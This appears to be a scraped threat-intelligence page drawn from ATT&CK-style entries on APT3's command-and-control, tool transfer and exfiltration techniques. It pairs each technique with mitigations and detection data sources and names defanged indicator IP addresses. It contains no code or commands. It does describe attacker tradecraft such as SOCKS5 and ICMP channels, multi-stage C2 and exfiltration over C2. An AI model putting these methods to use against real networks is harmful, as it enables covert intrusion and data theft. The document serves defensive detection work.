Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
Monitoring the following activities in your Organisation can help you detect this technique.
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
An APT3 downloader establishes SOCKS5 connections for its initial C2.
Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Filter Network Traffic
Filter network traffic to prevent use of protocols across the network boundary that are unnecessary.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
Network Segmentation
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.
Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.
Monitoring the following activities in your Organisation can help you detect this technique.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
An APT3 downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.
Monitoring the following activities in your Organisation can help you detect this technique.
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
APT3 has a tool that can copy files to remote machines.
Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
Monitoring the following activities in your Organisation can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
APT3 has a tool that exfiltrates data over the C2 channel.
Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Data Loss Prevention
Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
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